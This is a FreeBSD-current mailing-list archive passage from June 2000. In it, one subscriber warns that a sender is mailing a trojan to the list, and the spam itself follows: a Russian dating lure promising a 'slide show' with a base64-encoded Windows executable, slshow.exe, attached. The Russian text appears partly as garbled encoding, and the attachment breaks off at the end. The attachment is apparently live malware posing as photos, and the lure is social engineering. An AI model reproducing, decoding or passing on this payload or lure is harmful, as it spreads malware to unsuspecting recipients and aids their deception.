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 9IZ8dBNPSEGtTeN8/QejGM+fo1+gOZu16mf/2f8= --ucitqsjsdohdtqlh-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat Jun 24 17:51:49 2000 Delivered-To: freebsd-current@freebsd.org Received: from team7.cba.ualr.edu (team7.cba.ualr.edu [144.167.120.24]) by hub.freebsd.org (Postfix) with ESMTP id 635AC37B791 for ; Sat, 24 Jun 2000 17:51:27 -0700 (PDT) (envelope-from joe@team7.cba.ualr.edu) Received: (from joe@localhost) by team7.cba.ualr.edu (8.9.3/8.9.3) id TAA01068 for freebsd-current@freebsd.org; Sat, 24 Jun 2000 19:51:22 -0500 (CDT) (envelope-from joe) Date: Sat, 24 Jun 2000 19:51:22 -0500 From: Joe To: freebsd-current@freebsd.org Subject: =?iso-8859-1?Q?Anybody_notice=3F_Was:Re:_=E7=ED=E0=EA=EE=EC=F1=F2=E2=EE?= Message-ID: <20000624195122.A1045@team7.cba.ualr.edu> References: <36702.187400810188800.457@localhost> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: <36702.187400810188800.457@localhost>; from nady@mailru.com on Sun, Jun 25, 2000 at 04:29:51AM +0300 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Anybody notice that this guy is sending a trojan as an attachment? -Joe On Sun, Jun 25, 2000 at 04:29:51AM +0300, nady@mailru.com wrote: > > J nikogda ne pytalas% poznakomit%sJ v internete, no resilas% poprobyvat%. Zivu v Moskve, ucus%. > Mne 19 let. Ne znaj, cego mne ne hvataet, mozet prosto obseniJ , a mozet laski i vnimaniJ. > J daze ne znaj, cto o sebe napisat%, vrode ne dura, a ne mogu. J dostatocno kriticno (to est% > sebe ne nravljs%) otnosus% k svoej vnesnosti, no predostavlj tebe ocenit% ee.(ehe- jto slajd sou) > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat Jun 24 18: 9:40 2000 Delivered-To: freebsd-current@freebsd.org Received: from dialup.ptt.ru (dialup.ptt.ru [195.34.0.100]) by hub.freebsd.org (Postfix) with SMTP id 4358337B6F4 for ; Sat, 24 Jun 2000 18:09:19 -0700 (PDT) (envelope-from nady@mailru.com) Received: (qmail 6670 invoked from network); 25 Jun 2000 00:33:45 -0000 Received: from dialup-27192.dialup.ptt.ru (HELO computer) (195.34.27.192) by dialup.ptt.ru with SMTP; 25 Jun 2000 00:33:45 -0000 To: Íåçíàêîìåö@FreeBSD.ORG From: nady@mailru.com Subject: çíàêîìñòâî Date: Sun, 25 Jun 2000 04:33:36 +0300 Message-Id: <36702.190005902777600.624@localhost> MIME-Version: 1.0 Content-Type: multipart/mixed; boundary=utlcnuhhihpfouam Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG --utlcnuhhihpfouam Content-Type: text/plain; charset=windows-1251 Content-Transfer-Encoding: 8bit ß íèêîãäà íå ïûòàëàñü ïîçíàêîìèòüñß â èíòåðíåòå, íî ðåøèëàñü ïîïðîáûâàòü. Æèâó â Ìîñêâå, ó÷óñü. Ìíå 19 ëåò. Íå çíàþ, ÷åãî ìíå íå õâàòàåò, ìîæåò ïðîñòî îáùåíèß , à ìîæåò ëàñêè è âíèìàíèß. ß äàæå íå çíàþ, ÷òî î ñåáå íàïèñàòü, âðîäå íå äóðà, à íå ìîãó. ß äîñòàòî÷íî êðèòè÷íî (òî åñòü ñåáå íå íðàâëþñü) îòíîøóñü ê ñâîåé âíåøíîñòè, íî ïðåäîñòàâëþ òåáå îöåíèòü åå.(åõå- ýòî ñëàéä øîó) --utlcnuhhihpfouam Content-Type: application/x-msdownload; name="slshow.exe" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="slshow.exe" TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5v dCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEGAKLKqTgAAAAA AAAAAOAADwELAQUAACQAAADqAAAAAAAAriQAAAAQAAAAQAAAAABAAAAQAAAAAgAA BAAAAAAAAAAEAAAAAAAAAABgAQAABAAAAAAAAAIAAAAAABAAABAAAAAAEAAAEAAA AAAAABAAAAAAAAAAAAAAAGhXAQBNAQAAAEABAJwDAAAAAAAAAAAAAAAAAAAAAAAA PFMBAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAC50ZXh0AAAA ADAAAAAQAAAAFgAAAAQAAAAAAAAAAAAAAAAAAEAAAMAucmRhdGEAAAAQAAAAQAAA AAIAAAAaAAAAAAAAAAAAAAAAAABAAADALmRhdGEAAAAA4AAAAFAAAAAGAAAAHAAA AAAAAAAAAAAAAAAAQAAAwC5pZGF0YQAAABAAAAAwAQAABgAAACIAAAAAAAAAAAAA AAAAAEAAAMAucnNyYwAAAAAQAAAAQAEAAAQAAAAoAAAAAAAAAAAAAAAAAABAAADA LmRhdGEAuwAAEAAAAFABAAAKAAAALAAAAAAAAAAAAAAAAAAAQAAAwAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAOhwBcYC6Q8LDLnQn0AUKohoIEAQ6CA7HylZwxYRJXUw bx0KVovxMOjVEccGIG9AMKLGXsOKEh8A9kQkCAF0fwb6tkEajDPCBGRco02GEsSa 2x1DoyTBCmjD6XIWvULdyDJBkIjIEFnMsvAtniGhYFCDFscFlCYYTqhSFKOQ2RMe mBdIshScJIgyoCR8MqQkaDKoJFgyrCRIMrAkOFnA/ghkhkTQyIRFuNW8QgXAEcQI yIRUzHnUibwM2ImwEMNVizjsUfoANYlN+IXJiEUD/3Qc6wOKcw4eEYTS+gcywogB v6P40E2qi4MfdeaYw1NWOFe/JAgmntkr7TyF8P81dE6FU+cVSJ2o/NhZOYXbn3Qn w1dqAVYiJlQAg8QQM8mFwH55Cz08MQB0E0E7yHz1yF1EgFkzwF9eWz3DjQcEgDww AHQDQOt893lEdgFT6pZu2e360iOGAsdF/P8DTmHF5lmNBpZQV4sgGDPGtnUbIHr8 DdtQVlMm8QiZBvgyHBOLPCqIJAbQMsfJStOMVFFQdlLIPiywUAzoi5kpGlAVjq5c KjxA/CirHSITJMh0CFBWUJgwoe1EFgwi8K+oR2oIc1ZjA3s1fFIzQKFeySZjVLKI kEgHUGjoB0MOrALsgKy93i4y9lCCQWjYSo+qvEDPMYnJkqZniT4YFTzPWVYxuQGH 6NakDQ4kaIg0MybSTNeD5AyQOVG+MSU+INf0+Ug42JM0MrD0RTYOdAT9HOvGg2X8 OjQ9ICWCPmqkd9eQURk5RRoIdAcdQVFVBV77KdExHuvhIFX0kVDEuM31+R+bwU3t rIBBV2g88WRd1qyb3yrVMA81iZ4jEviTz8pAmRskSyo52CrLGFRTogg4jYVMVnE8 VmjpQwedFVmZRRhJFmPVBlDo8RtYkDlTWItIoVHwQRZoUEBRzujHRRveYsvC1ZEL TIgTlQUeaGkgT4pEDAZUJAw9UxCDPVArzlYuARUI3ogg7PfggWqUSGgTYhBRUoSW nJhFEaQcp5eHM9KNGhM+mhQOGkG/i3BdBJrKP41wlbpcgIixsXS/VIwddB8hb5MB HNeUyxvGdAmI1RpAZC3OafYasvpKhEHCUMak6QzUQsjXOIpMmpgGYRjrvuD8Mq1s SPH5kE9BW9Vkku1WKFQQXbpEJMCTMXzo/jUxQw6AacYcCqcQqJWZNDII8CHovVhk tDOClhM20FyTJxqLNTwNQLrWU9UGmEzyzoFEFAmVz4OWVlA8bVeYi3PwTV1EdrKX 7DQlhRgJUAI77P4BaIxTFnSuj0iAPlEWXZNAijv7DyaELhpMAmpNAh9cVGPZO8Mj KhmTBFwj6hSYZmT4LgJOahlRTBZ+yMn2JpcVhGWKDBJJObHHEIPvMgCF/4l97A+O qoN5Zg74Q0eDtgcWdT5gPwEPhW+NKSN/BAN2FIQc+wp+aKKjQqtHrcOW9P4rJYoQ AC4EiBHrAQPGASBAQf9gdXV87ANYgT9QYXOPpyKMencWb3JkFFT5UI5ESAOsVoEU aHyStcdD1nQbqbQ4I5ckDO2pLpALomwWKDtdqjeMWSYayVa5NZFISHZZtFXEQbWM iyVMIZQxKCaWCbgggbrTg7vk/G+nDs8u8E0sYhTs3KIR8NCiB/xDkO9l+JCmkBrJ DvQHGB+RdeRTm+jgo4g2aMDdS1a4aKEUpByRkJlgJVlHxjJ0LoCJ9IPGBKOMsAJ8 ws8Y+CjHu0CtaorCpMJaooBLfJXp9JZXJZpMk0nMs1IDM/ZZO8aZo8Q1MCbdOFbk NViYKWpYBfs44F28FOiR1FARi0sdWnOOiy8JJmmE0zVYRop2mVyUPS12kMtEkOhp +eOFM/A3CHM2s4Qi4KsQCgIXZfRCCIA/IGhddFyULpJXyTZR3XYXNcv4A8cVgDDI y1QWOcAQWXLpl36ad3XgglBuutD1jwboqsLwaJhNLhQgIpdozwXlTshTwsXpIBWB 0tOZNmNkWAtLORZM9lmkJaK7hTdoJeoK/aAHJAKAhMB1B7gEYFQ86yVWDwm28I1G YnWKym7yYgZGLwCLx15fW8O4dWMyKOirLEVRzQgMBLQ+wVmJZWDHVQXoBftqFJfO hcOkMciw2wrsO8vG+wMBdBRTZgP7DNUp6OeaAcjrAjPJkihoTFyEw4jKa+EYF/ga j0lIGsQfkeYk5BzD5GIf7NMRBKqLTbBiZPoN3GUq6JbLRFaBLuT7AVNQTLKLWAfH nGgSLlZRviYqGzx8D5TsdBU0J5rQSWcwDBBz65M1tirbCDEgWDMB65y41xmV+sPQ Dv+DzmQ5fLAHwQR+GIA8FvCERqix9op7DHMwGwdHOzWY6MZolFQNU1VcNp5iDCTB KZidgQVihCW/EJLRYfD/zkBlav4Z6fYMHzUikkmjJTYqruwRX1zihL0Y0MK78CDD OFVogIQJUxSDN1dVTtojpAIKgLAhOwJAO8Vy9GCzyCGCgZgKxwVtPVENhCboG0xi uC+sKBr29ctcZa4YhOa/voLJS1aZkINga1l/D2TRK1bHEcqEA77o00uHojRUWQTv 6ggPS0W/so6fIPZHDBAudRSVkSASWVNIUyS88T7r5kxwIkSYLPhX1AmwSXBxxMAs VM3f4ieLa0smsg0TIjIoJ+gqovQ9oJHMuUEGdQaaPkxLhLr3RAO4tJ11o9C6V0Rh Z3gzUUJoILSoRhTSYm48kytRDEpN4dUYXzSFCIOArun7DOEnndMwMGaBJZFILn0k h1aRnxRoD0xZtST75I8FgmJGtC2t/wZoiCIu6hSRA0obcmxJK2gQHDPEV4yZR94y QL4gdhgYoexXiXhqBGgJCuhkKY5Y6/eSO13BplEymQWyA7l4BEYuEQa/UBVIsl4q zw7ygn65rBotiy2gsI1EJBBRUPxtQBX/1YOXjQfX5bR5UOjbpBWajzRokXfxX8Zg mIgdoAxqBDtoPNIbIYvvkIkCCYCKjRuQhPfI8XoLZQ0QBOYUMxQKnSubsmZtKqHt GlAx1WoD/nimeO1bQtIiE1l5f5wEYJSvllNitlH7oEJgV3iXREy/uV4QUyL8Tlc0 YOB9PDW6mM/FYhYWmX5xmkklOG/1wfKBfc1tUal/C1xD61u7SUFfzG+QL5xvwLKw x0Ub4EAp2Qby2b5MVYgTKtNXGD8q7Og4zA53GYWYw3oIhJWIVfuYxkDzEgU6pa1g IujWhoiJ6hV1HlcKjRTCpVBm/5ZEQ+kpBV2yqr4kW2HAIZ76iLsMQYGLywy/TPwj ihVdUVx9speAqOisDlR2CfRUUxIzY/YW3DnX64QUu1aM+eDUCLHWHPV6A1X0O8YP 81hjOUrwiRBRhluGhZxBNb6w0Vunkxoi3PRjQU0fBfCK5OlD89gkIxx+kFBRCyyQ ZJrcx9bjTezfF1FuJvT4KNQPN1wLalwPBuj3D0nsqViQeFO6BoN95AF6IOD3XHQ6 TGObXse6Noo8/geIc/1itPkjD7bCm5kImhyZjkKYVIffRfafDg/hkQSUgZxctSkN CNjwE1aKxHYrsoCKtTX2nNXw2THsAGigVJz6U1Ikjk1ngg0z0rKd8dUtBCqBhCzJ BSoJZDsBaQ+CxFPG67honFST40SKxyLXTEs602Mi56oMzDL6+iSFpOxSReenkzXg wYA4vnUHU4oIgvkNjIAKJOvr4Noy2S2IGI68BgpAPS5141Umpa+JVYKgPRigsg+3 RgKjyaIIj8Gi6HJShafXFxEfjht+GLIdTAkUDIAktwuh3CZIeuiWwzCNgPCEAmhk VZH30zxhhuitLujaXA1onWgpsOwaAQOjEqJfBFCMUyQGqWTWHASJ4gVsXvSFkVyl hoE6LxVkCvJeSwyEwQKGlREqCD29S5dImOFZv4yHf42WWjkJYwEho+hLuoAk32+l BXpgC0bYgCZ1B2iIwUnrH75wZowjziXhd1wZ+Ghss35i6ytcxwhaITq4/19ThULS 0LIDU4qrQTKBaOarXVuphRgBzYJwCBKgrFCLXdqpJTyZroNFj8eqzDXmguqcwM81 EJlBjOj2IFG6A7xhjHUTIQbrBj7IEw+FV+vlTMUUVVm5h4u4iEXHJ0pSwl/Y8UEd YITsTL6v1lPToTtFnKTP80Ud6GgcaVYwc0Y+CggiQd3NGCBngFNQGQ+/ELFT4x8F V+jnIR4dKzEVGD2EobywRjssw3Wbw7oUEjGLyIlOgip0A4AgliFkEDlQuZqVoSZT XCkJLEw61VWVELeaiAxE8UM5HYwBq3UVgD36IGkfGgxoEVzdUARWl5wJ/DopIUHP Z4LIeCTBpk4tgT0ix6lyAnVFc7cMChQKulj8T4YOA11RDSHtmvK4CygSg6krB4gh FTiTudDfaH8TpjCZrr/Mp5jQgKBq8RGCywLxufCCVFgEpAzkPNyHkNDxHFEd6chD FuIY07vEFbqmqqLJ5b1Ribm8WRtOFgqDPTjhkwIEyLu4IxMiIDDIfLSOdAXtsA49 j6TzpU6JC+xCIbFtGzRfIQwwkSwZaDwLU9mYknNXnAQkkvuTUYRolFWcUP9IBZ6b JcoPZCIgFxwfg038ZnxE7Vee4kyVS82jZ3sL8IX2h31oKS7DdmVqgwuFyXQSeMB+ a2wdAgnXVsVCE8OC5wwCU1V28c7z2buRl5AooQ240x0idQbtRMA+M8kACHQWihCA +ncidws4VAGAQYTSdfLrBD2AJEEiAy29ERY15qSNVfgny79Lv32xbowb86JDZBiI YlcRhBWyemRJgEa7WHs+i/OtNhJVQWBwFcPzDrfyPApIBcYELYH+aBN835N6YtBW Op4WRMCjKSDBG3GwCByFPU6QTccFKMsNlFqLogmEjnxO6AoNOtkQIuXZRJgVPB0o hSxXCIIhpIwLdC0aM+A3hCScrL6SqFazxIwQLRSKfBkq/lp4Y8LHXwlL21CbPH0w iIEtsTUOBgsSMZz8NFl4KwqzfH/ho8DBHSoxV40XEg2FFaO1++wQOzrKdnYS8Svy BUSQ0IBlD4KrvFGKUAQXUfDDhEiUi4lIzTGeWRJoI4D4yXUJSYLBNQBZMsky6KM7 oPLzKr6o5hzA6FXMAb8ngCZ0FErKphE0dgrPVugqKsxKeYKUIEIw4psVkM330S10 M0ImwyAXaKBWvghRnKwXQygQKNWhKRjB6OxHRL5EiI1IfGk4pblmFbn94hkzwB8e SDbzOatmSXUlGAsiRFrdF01ofGUgfnCjUIwwD7YFUPVS4EkKvDRw/4ME6M2IifOY mtac4u0OFw++th1pRK/6M4Qkog5YIDwI9ibr5bNw1DNL2yIyv8TVAIvDagmZWff5 sOTk6hL/NK20m+gn2BzkpyZ6V2USsYmAYfgsN8hoS7Ikyuv0HqkbFA0LFbpgo15i ZaNaEpYx4gRUFqsY5NFYagJJdZbmlSZo9UK4EBcdgHUTQ4P7CygPjGBCsUXlhugh EziVKUS4S4kImRjpbj5HHFZQhXQFRD1oWLJOV8FIuGE5uUxWKXCJvkgqaC/jwuQA TgjZ9lLCRIY00F8gWgkmsQFpa+idgcS5sRfDx7KB6AUeJbIvFVsNEdsdjMMJoVlo IXlwuEFAkwycir9bxQkD14l18PHjHnzbw8cGcFBHkhWDq/5KCxxY0cbIXrBg6DYb vZ3fmN2H6EXeO5hPC7kIvyYq4D8XaGAr4kDVFlBCgzNhIDSPGq3okB1JlZluMynD yoeDEEAEz0+pg4b43gzEJOkeYQ+3u+4XUGpF+u8ezG5wWjXInYUdyXQPJnAWC7Sw +KnoWabSgyWEBIvphiXxAuoXanxjw1lQJyrOEPqJRkoUzfG2gVRGoipx6pDg3JP4 zDtHMgFfV17enc7IQOy7fQgIiU38v5KAJxe0tUqlykGyvwJWhaC9BWJFCNEdfDz6 kxZQ9J30ithdNLrkx6wLIb/DGospmFA/5AEP69egTwNqixKmLeKT9B7aSore1y+y Gd7GpxEZUGcja6QKfBamOLpIu9TnlsI/AUTxduibjR4T1hny1QQM6PUeAffYG8CT CF5gPgxqP5cTAxgJ6Ps7wgygcmj0tIrsMwjI2Zio5SYyf+4kxxZdnSAjTVccL35o FBZoTTzyUxUbM8kuoA+ewf/K9BaCzP8lSEsXIQy0kDjIPG6wyDBkLDIoGSQMIIZD HCEYkKDInGSYMpQZkAyMhkOIIYSQgMh8ZHgydBlwDGyGQ2QhYJBcyFhkVDJQGUwM RIZDQBD0M4i4ZMQyvBnADKiGQ6whsJC0yOBk5DLsGcgMzIZD0CHUkNjI3GWsSnKw BoTo819K8BiQpMioZfhKEvwGuFQSBKkGCAwMhkMQIhRXzAEGgz0IJy0vdQ9qc8lx 7DPBWZwzTB5oljfrQCBR6HtPIchyw6sn8gt+gE8zYFFIw5ClAQlRPZHBjYB8CHIU geltuuRQLRGFVAEYcwbsK8iLxBro4eQIsvAmUMMcuqE1FTQGIixTzAHTVRIaKhwG VwQg1kszagIaGEF8y5AxF2ShIshQ4dAlCUKjmPi++GU56Lyo/BAoagLhIQw1iscF 3U/7AyMUCLE6xDQAiw34lM8MiQgcyISw06AOEKFQzA0IlCgxW+jLJQ6L1FdAENkO aOmy81zQTDq40sQ5aCz9XDUoC8TtjTlB7hXwQEhVlI1zRWRQxuxPUX+MnFIekP/Q TaC62FTcQBQoaCQ74Q9kNuBAizCJdYwCgD4iD4WopspGGxKKBoSokB48IpvyL6+a E+AKPCB38UAO6/DHKUXQ+DLSpP59EaAz9iIBXEJxC9Ql/6U268c8yJdQFjiIY5TS Qw3c++1w2pjzOAzG6yJaSeytAgmJTYhQYQeBDf4JAVTUdoi7q5KEYjFPRfwiQVzk JfCyS1aqPorlXcOaAyAPhmZTNZAm8SAmvJA0iORn2GkV0C3B9ANX/wQBCOHJtF7F AjPAaRCrHAFLKkBalsBk9MtQl1T0BODoXyK6/O/CWYOm9bomVLsleNYESBSJkEDV sqD7/YFcCSy8SrQ3aDQhBFWkZRPSd7lBGOlUE7n8ktP0PNMVSrS42Gt4X5w/R8P3 KPRABpcfOb7PPMIVuIgT3FiLKd0eibAKUwG+pgAAkJB1AOlJKwEAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADZOCpAOQjqCAF8MdQtOEEQ mQjWUdXSkQjOmSnICcISvCS2SLCRqiKkRJ6YiZISjCSGSICRehDcLhUgK1CnTCnQ yAnKkcQivkS4sonfkUGsIqZEoJqJlBKOJIhMggl8iWqZqXYRcEYMCURkXolYElIk TEhGuUQ6iTQXOJEoIiJEHBaJEBUIAf+MMjEYR+lIECAMBZMZAxFIZEEgAU9gEnk0 RTBgDGwyQKcQqDBTAggSeEEubAo7GkBgqCBCqPVhYIAySigj0HmUFS8BmAAAAAAA 